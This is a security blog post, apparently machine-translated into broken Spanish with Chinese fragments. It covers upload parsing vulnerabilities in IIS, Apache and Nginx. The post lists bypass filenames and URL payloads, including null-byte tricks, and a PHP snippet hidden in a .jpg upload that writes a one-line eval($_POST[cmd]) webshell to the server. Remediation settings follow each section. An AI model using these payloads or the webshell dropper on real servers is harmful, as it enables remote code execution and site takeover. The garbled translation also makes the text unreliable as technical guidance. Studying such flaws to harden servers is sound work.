descarga de archivos inseguros y de carga - La vulnerabilidad de carga del servidor de la vulnerabilidad de análisis

la vulnerabilidad de carga del servidor de la vulnerabilidad de análisis

Subir escapatorias IIS5.x-6.x vulnerabilidad de análisis

Uso versión iis5.x-6.x del servidor, la mayoría de Windows Server
2003, el sitio más antiguo, desarrollado declaraciones generalmente asp; la vulnerabilidad de análisis sólo puede resolverse archivos asp, aspx no de análisis.

Directorio de análisis (6.0)

		形式:www.xxx.com/xx.asp/xx.jpg
		原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

análisis del archivo

		形式:www.xxx.com/xx.asp;.jpg
		原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

Analizar el tipo de archivo

		IIS6.0 默认的可执行文件除了asp还包含这三种 :
			/test.asa
			/test.cer
			/test.cdx

programa de rehabilitación

		1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
		2.做好权限设置,限制用户创建文件夹。

Apache lagunas de carga vulnerabilidad de análisis

principio de vulnerabilidades

Regla Apache analizar el archivo es de derecha a izquierda para iniciar el análisis para determinar si el sufijo de análisis de archivos no reconocido, y luego dejarla en manos de juez. Por ejemplo test.php.owf.rar
".owf" y ".rar" sufijo dos Apache análisis sintáctico irreconocible, Apache será analizada en el php oldboy.php.owf.rar.

formulario de vulnerabilidad

		www.xxxx.xxx.com/test.php.php123

Los problemas de configuración restantes que conducen a la vulnerabilidad

(1) Si hay una línea AddHandler configuración .php tales php5-script en el conf Apache en
este caso, siempre que el nombre de archivo contiene el nombre del archivo .php es test2.php.jpg incluso con se realizará php.
(2) si no hay línea de un tal dispuesta en la conf AddType Apache application / x-httpd-php .jpg incluso si la extensión es jpg, php se puede realizar de la misma manera.

programa de rehabilitación

		1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~.(php.|php3.)>
        Order Allow,Deny
        Deny from all
</Files>

2. pseudo-estática para resolver este problema, anular .php similar. * Ese documento, abrir el Apache httpd.conf encontrar LoadModule rewrite_module / mod_rewrite.so
el número # eliminado, reinicie Apache, construido en el directorio raíz del sitio. htaccess, de la siguiente manera:

	<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

nginx vulnerabilidad de carga de la vulnerabilidad de análisis

principio de vulnerabilidades

		  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
			PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

formulario de vulnerabilidad

		www.xxxx.com/UploadFiles/image/1.jpg/1.php
		www.xxxx.com/UploadFiles/image/1.jpg%00.php
		www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
		xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
	另外一种手法:上传一个名字为test.jpg,以下内容的文件。


<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
			然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

programa de rehabilitación

		1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
		2.在Nginx配置文件中添加以下代码:
		if ( $fastcgi_script_name ~ ..*/.*php ) 
{
return 403;
}

medios Esta línea que cuando la URL corresponde a test.jpg similares / a.php devolverá un código de error 403. Subir lagunas IIS7.5 8 vulnerabilidad de análisis
IIS7.5 vulnerabilidad con Nginx similares, se deben fichero de configuración php, abra la cgi.fix_pathinfo, que no es nginx o la propia vulnerabilidad iis7.5.
https://www.xp.cn/a.php/182.html
Al finalizar la instalación, en php.ini cgi.fix_pathinfo por defecto = 1, es hora de visita, cuando la extensión ruta URL agregará .php como un archivo php se analiza, las vulnerabilidades resultantes
Nota: Antes de la prueba real, me encontré con lagunas y no más tarde descubrí que se partió FastCGI, que parece ser utilizado para procesar el archivo de datos
cuando el cgi defensa de venta. fix_pathinfo = 0, y FastCGI abierta es así, ya que se puede jugar a punto de alto nivel
para crear el contenido del archivo cmd.txt

<?php
				fputs(fopen('shell.php','w'),'<?php  phpinfo();?>');
				//创建新的文件
				?>
		保存后,重命名为cmd.jpg 文件
		再次进行访问

prestar atención

			当phpstudy切换回去的时候,不一定可以运行,需要进行再配置
Publicado 80 artículos originales · ganado elogios 8 · vistas 4213

Supongo que te gusta

Origin blog.csdn.net/weixin_43079958/article/details/105377290
Recomendado
Clasificación